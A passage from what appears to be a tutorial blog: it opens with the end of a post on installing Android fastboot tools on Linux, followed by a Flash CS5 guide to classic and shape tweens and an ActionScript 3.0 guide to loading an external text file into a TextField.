sudo apt-get install android-tools-fastboot

3. After installing it enter FASTBOOT mode in your phone.

4. Go to terminal again and execute this command

sudo fastboot -w

sudo fastboot reboot

NOTE: In linux you can only install android-tools-xxxxxx in Ubuntu 13.04 and above version same as with Debian base distro you can only install it in Debian 7.

I hope this tutorial helps you. If you have any questions just drop a commend below.
Read more »

Monday, February 2, 2015

Creating Basic Tween Examples in Flash CS5

Create a new Flash document. Follow the steps below to add different kinds of tweens to your Flash movie.

By the end of this tutorial, you should have something like this: [DEMO PAGE]

Movement - Classic Tween
  1. Draw a circle on the upper-left corner of the stage using the oval tool. 
  2. Select the whole shape using the selection tool, and then convert it into a graphic symbol named Circle.
  3. On the timeline, right-click on the frame 40 box and choose Insert Keyframe.
  4. Make sure you are still on frame 40 by clicking on the keyframe that you just added. 
  5. Then use the selection tool to move the circle to the upper-right corner of the stage.
  6. On the timeline, right-click anywhere between frames 1 and 40 and choose Create Classic Tween.
  7. Press ctrl + enter (PC) or cmd + return (Mac) to test your movie.
  8. Save your work.

Scaling Animation - Classic Tween
  1. Insert a new layer.
  2. Make sure you are on frame 1 of this second layer by clicking on the blank keyframe on frame 1.
  3. Use the rectangle tool to draw a square shape in the middle of the stage.
  4. Select the whole shape using the selection tool, and convert it into a graphic symbol named Square.
  5. On the timeline (layer 2), select frame 40 by clicking on it. Make sure that no other frames are highlighted except for frame 40 of layer 2.
  6. Once its selected, right-click on it and choose Insert Keyframe.
  7. Make sure sure you are still on frame 40 of the second layer by clicking on the keyframe that you just added.
  8. Then on the stage, right-click on the square and choose Free Transform. 
  9. Make the square bigger by clicking on any of the corner handles and dragging outward.
  10. On the timeline (layer 2), right-click anywhere between frames 1 and 40 and choose Create Classic Tween.
  11. Press ctrl + enter (PC) or cmd + return (Mac) to test your movie.
  12. Save your work.

Color Changing Effect - Classic Tween
  1. Insert a new layer (this will be the 3rd layer).
  2. Make sure you are on frame 1 of this third layer by clicking on the blank keyframe on frame 1.
  3. From the library, add another instance of the Circle symbol and place it on the lower-left corner of the stage.
  4. On the timeline (layer 3), select frame 40 by clicking on it. Make sure that no other frames are highlighted except for frame 40 of layer 3.
  5. Once its selected, right-click on it and choose Insert Keyframe.
  6. Make sure sure you are still on frame 40 of this third layer by clicking on the keyframe that you just added.
  7. Then select this new instance of the circle symbol on the stage by clicking on it using the selection tool. Do this even if the instance already looks selected just to make sure that its really selected. Make you sure you only click on it <b>ONCE</b>. Do <b>NOT</b> double-click on it. If you double-click on it, you will enter the symbols timeline.
  8. After selecting the instance, go to the Properties Inspector. If you don’t see the Properties Inspector, choose Window > Properties.
  9. You should see the properties of the selected graphic instance in the Properties Inspector. Under Color Effect, click on the Style drop-down menu and choose Tint.
  10. Click on the tint color box and choose a new color for the instance. Make sure that the tint amount slider below the drop-down menu is at 100%.
  11. On the timeline (layer 3), right-click anywhere between frames 1 and 40 and choose Create Classic Tween.
  12. Press ctrl + enter (PC) or cmd + return (Mac) to test your movie.
  13. Save your work.

Morphing Effect - Shape Tween
  1. Insert a new layer (this will be the 4th layer).
  2. Make sure you are on frame 1 of this fourth layer by clicking on the blank keyframe on frame 1.
  3. Draw a circle on the lower-right corner of your Stage. DO NOT CONVERT IT INTO A SYMBOL. We are going to add a shape tween, and it will not work if you convert the shape into a symbol.
  4. On the timeline (layer 4), select frame 40 by clicking on it. Make sure that no other frames are highlighted except for frame 40 of layer 4. 
  5. Once frame 40 of layer 4 is selected, right-click on the frame and choose Insert BLANK Keyframe. You should see the circle disappear.
  6. Make sure sure you are still on frame 40 of this fourth layer by clicking on the BLANK keyframe that you just added.
  7. Then switch to the rectangle tool and draw a square shape on the same spot that the circle was on.
  8. On the timeline (layer 4), right-click anywhere between frames 1 and 40 and choose Create Shape Tween.
  9. Press ctrl + enter (PC) or cmd + return (Mac) to test your movie.
  10. Save your work.
Read more »

Saturday, January 31, 2015

Loading External Text Files In Flash ActionScript 3 0

Work Files:
Load_Text_Start.fla
summer.txt (right-click > save as )

In this article, were going to learn how to load text from an external source into a Flash movie.

What is the benefit of loading text from an external source?
The nice thing about loading text externally is that when you need to update the text, then you simply need to edit the text file. You wont have to make changes to the .fla file anymore.

To load text from an external source, we will need the ff:
  • a plain text file that contains the text we would like to load
  • a URLRequest object to specify the path to the external text file
  • a URLLoader object which will load the external text file into the Flash movie
  • a TextField that will display the loaded text

2 exercise files accompany this tutorial:
  1. Load_Text_Start.fla - this is the Flash movie where the external text will be loaded into
  2. summer.txt - this is the plain text file that contains the text we will be loading into the Flash movie
The download links are found at the beginning of the article. Make sure that you save both files in the same folder. By the end of this tutorial, you should be able to load the external text into the Flash movie. And in succeeding articles, you will also learn how to format the text using a TextFormat object, and how to add text scrolling functionality.

So lets begin. Go ahead and open the Load_Text_Start.fla file. You will see that the document contains some artwork (a sun drawing) and 2 buttons (these buttons will be used to scroll the text up and down). Well be creating a TextField which will be placed within the empty white area on the stage. This TextField will display the text loaded from the external source.

Lets now begin writing the code. Lets first create the TextField, add it to the display list and set some of its properties. Select frame 1 of the Actions layer and go to the Actions Panel and type the ff:
// Create a TextField object
var myTextField:TextField = new TextField();

// Add the TextField object to the display list so that
// it will be visible on the stage
addChild(myTextField);

myTextField.border = true;
myTextField.multiline = true;
myTextField.wordWrap = true;
myTextField.width = 215; 
myTextField.height = 225;
myTextField.x = 300; 
myTextField. y = 50;

If you test your movie now, you should see the TextField just above the scroll buttons and to the right of the sun artwork.

Now that we have the TextField, well need a URLRequest object and a URLLoader object in order to load the external text file. The URLRequest allows us to specify the path to the external file that we would like to load. In this example, we want to load the summer.txt file, which we saved in the same folder as the Flash document. So since they are in the same directory, all we have to do is specify the filename summer.txt when we create the URLRequest object. The URLLoader, on the other hand, has the capability to load external text files into Flash movies. It is the URLRequest object that simply tells the URLLoader which file its supposed to load.

So to recap, the URLRequest specifies which file is to be loaded, while the URLLoader is the one that loads the specified file. Now, lets go ahead and create the URLRequest and URLLoader objects:
var myTextField:TextField = new TextField();

// This next line creates the URLRequest object named textURL.
// The file name of the external text file to be loaded is
// passed as a parameter to the URLRequest constructor.
var textURL:URLRequest = new URLRequest("summer.txt");

// This next line creates a URLLoader object named textLoader
var textLoader:URLLoader = new URLLoader();

addChild(myTextField);

myTextField.border = true;
myTextField.multiline = true;
myTextField.wordWrap = true;
myTextField.width = 215;
myTextField.height = 225;
myTextField.x = 300;
myTextField. y = 50;

After creating the URLRequest and URLLoader objects, we can now tell Flash to load the external text file. The load() method of the URLLoader class is what instructs the URLLoader to load an external text file. The URLRequest object is passed as a parameter to the load() method so that the URLLoader will know which file it is supposed to load (ex. textLoader.load(textURL); ). But in addition to writing the load statement, well also need an event handler. Why is that? This is because well only be able to display the text in the TextField once the external text file has finished being loaded (and not while the loading process is still happening). Once the URLLoader begins to load the text file, well have to wait for the text file to be loaded completely, and only then can we display the text in the TextField. The event that will tell us when the file has been loaded completely is Event.COMPLETE (this event will be dispatched if and when the external text file has been successfully loaded). This event will be dispatched by the URLLoader object, so the event listener will be added to our URLLoader which we named textLoader. So lets go back to the Actions Panel and create the event handler and the load statement.
myTextField.border = true;
myTextField.multiline = true;
myTextField.wordWrap = true;
myTextField.width = 215;
myTextField.height = 225;
myTextField.x = 300;
myTextField. y = 50;

// This next lines adds an event listener that waits
// for the textLoader to completely load
// the external text file (Event.COMPLETE). Once loaded,
// the function named displayText will be called.
textLoader.addEventListener(Event.COMPLETE, displayText);

function displayText(e:Event):void
{

// This function will contain the code that will display the text in the
// TextField once the external text file has been loaded. But lets add
// that code later. For now, lets just put in a trace statement.
// This trace statement will just indicate that the file has loaded.
trace("File loaded successfully.");

}


// This next line tells the TextLoader to load the
// external text file specified by the URLRequest object
// named textURL (which specifies the summer.txt file)
textLoader.load(textURL);

Now go ahead and test the movie. You should see the output window display the phrase File loaded successfully. So this means that the Event.COMPLETE event has been triggered and that the text file has been loaded successfully. If it doesnt, you might want to check that you typed in the correct file name - "summer.txt" - and that the text file is saved in the same directory as your Flash movie.

So now that the external text file has been loaded, where is the text? I dont see it.
What weve done so far is that weve simply just loaded the external text file. The text data is already in the Flash movie, we just havent displayed it yet. So the next thing we need to do is to get the text data and then display it in the TextField.

Ok. So where exactly do I find the text data?
Once loaded, the text contained inside the external text file can be found in the URLLoader object that was used to load the external text file. That text can be accessed by using the data property of the URLLoader class (ex. textLoader.data).

And once I get the text data, how do I assign it to the TextField?
Youll use the same way you assign text to any TextField - by using the text property of the TextField class (ex. myTextField.text = textLoader.data; ). And REMEMBER, youll have to do this only after the text file has been loaded completely. So you must place the text assignment statement inside the Event.COMPLETE listener function (which in this example is the displayText function).

So lets go back to the event listener function named displayText and lets remove the trace statement and replace it with the text assignment statement. But instead of typing textLoader.data inside the event listener function, well type in e.target.data . Since the even listener was added to the textLoader URLLoader object, then e.target will refer to textLoader as well. One advantage of using e.target is that well be able to use the same event listener function with other URLLoader objects as well (for example, we might want to have multiple URLLoader objects that load different external text files).
function displayText(e:Event):void 
{
// This next line will assign the text from the external text file to the
// TextField instance named myTextField
myTextField.text = e.target.data;

}

Now if you test the movie, you should be able to see the text displayed inside the TextField.

Heres the code in full:
import flash.text.TextField;
import flash.net.URLRequest;
import flash.net.URLLoader;

var myTextField:TextField = new TextField();
var textURL:URLRequest = new URLRequest("summer.txt");
var textLoader:URLLoader = new URLLoader();

addChild(myTextField);

myTextField.border = true;
myTextField.multiline = true;
myTextField.wordWrap = true;
myTextField.width = 215;
myTextField.height = 225;
myTextField.x = 300;
myTextField. y = 50;

textLoader.addEventListener(Event.COMPLETE, displayText);

function displayText(e:Event):void
{
myTextField.text = e.target.data;
}

textLoader.load(textURL);

In the next part, well style the text using a TextFormat object.

NEXT: Formatting Externally Loaded Text In Flash ActionScript 3.0
Read more »